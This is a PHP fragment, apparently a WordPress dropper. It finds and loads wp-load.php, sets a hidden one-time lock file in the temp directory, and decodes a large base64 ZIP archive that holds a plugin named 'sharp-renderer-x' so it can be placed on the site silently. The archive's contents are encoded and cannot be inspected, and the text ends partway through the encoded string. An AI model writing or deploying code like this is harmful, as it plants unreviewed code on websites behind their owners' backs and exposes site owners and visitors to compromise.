$slug = 'sharp-renderer-x'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { die( 'ERR_WP' ); } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( is_dir( $plugins_dir . '/' . $slug ) || file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $tmp = tempnam( sys_get_temp_dir(), 'sc_' ); file_put_contents( $tmp, base64_decode( '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